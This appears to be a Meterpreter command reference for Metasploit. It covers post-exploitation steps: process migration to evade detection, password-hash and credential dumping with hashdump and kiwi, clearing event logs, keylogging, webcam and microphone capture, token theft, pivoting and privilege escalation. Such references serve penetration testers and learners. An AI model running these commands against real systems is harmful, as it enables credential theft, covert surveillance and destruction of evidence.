Meterpreter is a payload — it is deployed to the target, not installed locally. It is included with Metasploit Framework:

sudo apt install metasploit-framework

Meterpreter sessions are opened automatically when an exploit using a Meterpreter payload succeeds. Interact with an existing session:

sessions -i <number>

Once inside a Meterpreter session: Identify OS, hostname, and architecture

sysinfo

Confirm current user context

getuid

Get the PID of the Meterpreter process

getpid

List all available Meterpreter commands

help

Meterpreter uses interactive commands rather than CLI flags. All commands are run from within an active Meterpreter session prompt (meterpreter >).

background — send session to background; return to MSFConsole (also CTRL+Z) List all active sessions from MSFConsole

sessions

Return to a backgrounded session

sessions -i <number>

Terminate the Meterpreter session

exit

Display the session’s globally unique identifier

guid

Move Meterpreter into another running process

migrate <PID>

Load a Meterpreter extension (e.g., kiwi, python)

load <extension>

Execute a Meterpreter script or post module

run <script or post module>

migrate use cases: gain stability if the initial process is likely to terminate; move to a process with higher privileges; move to explorer.exe or svchost.exe to blend in.

ls / dir — list directory contents Print current remote working directory

pwd

Change remote directory

cd <path>

Display file contents

cat <file>

Open file in an editor

edit <file>

Delete a file

rm <file>

Search for a file by name across the filesystem

search -f <filename>

Upload a file to the target

upload <local file> <remote path>

Download a file from the target

download <remote file>

Change local working directory

lcd <path>

Print local working directory

lpwd

Display the ARP cache (reveals other hosts on the network)

arp

List network interfaces and IP addresses

ifconfig

Display active network connections and listening ports

netstat

Forward a local port to a remote service

portfwd add -l <local port> -p <remote port> -r <remote IP>

View or modify the routing table

route

portfwd is used to pivot — forward traffic through the compromised host to access internal services not directly reachable from the attacker’s machine.

Display OS name, hostname, architecture, and Meterpreter version

sysinfo

getuid — show current user (e.g., NT AUTHORITY\SYSTEM) Show the PID of the current Meterpreter process

getpid

List all running processes with PID, name, user, and path

ps

Terminate a process by PID

kill <PID>

Terminate a process by name

pkill <name>

Run a command on the target

execute -f <command>

shell — drop into a system command shell; press CTRL+Z to return to Meterpreter Attempt automated privilege escalation to SYSTEM

getsystem

Dump the Windows SAM database (local user password hashes)

hashdump

Clear Windows event logs (Application, System, Security)

clearev

Reboot the target system

reboot

Shut down the target system

shutdown

hashdump requires SYSTEM privileges — migrate to lsass.exe first, or use getsystem to escalate. getsystem attempts several escalation techniques automatically; may fail if the system is hardened. shell gives a native OS shell. Type exit to close it and return to Meterpreter. steal_token <PID> — impersonate the access token of a running process; useful for taking on the privilege context of a higher-privileged user without migrating into their process. Run ps first to find an appropriate PID.

Show how long the user has been idle

idletime

Capture a screenshot of the active desktop

screenshot

Stream the live desktop to your browser

screenshare

Record audio from the microphone

record_mic

List available webcams

webcam_list

Capture a photo from the webcam

webcam_snap

Stream live video from the webcam

webcam_stream

Start keylogging

keyscan_start

Dump captured keystrokes

keyscan_dump

Stop keylogging

keyscan_stop

keyscan_start requires migrating to the target user’s process first (e.g., explorer.exe) — otherwise keystrokes from the correct session won’t be captured.

Load an extension:

load <name>

Show new commands added:

help

Kiwi (Mimikatz integration for Windows credential dumping):

load kiwi

Dump all credential types

creds_all

Dump SAM database

lsa_dump_sam

Dump LSA secrets

lsa_dump_secrets

Python (run Python in the context of the target):

load python

Execute a Python one-liner

python_execute "<code>"

Import and run a Python script

python_import <file>

Reset the Python interpreter state

python_reset

From MSFConsole:

use post/linux/gather/hashdump

set SESSION 1

run

Convert a basic shell session to Meterpreter:

use post/multi/manage/shell_to_meterpreter

set SESSION 1

run

Identify local privilege escalation paths on the current session:

use post/multi/recon/local_exploit_suggester

set SESSION 1

run

— Scans the target against known local exploits for the current OS and architecture. Not all suggestions will work; run each candidate and try the next if it fails.

Windows credential targeting: Migrate to lsass.exe → hashdump or load kiwi → creds_all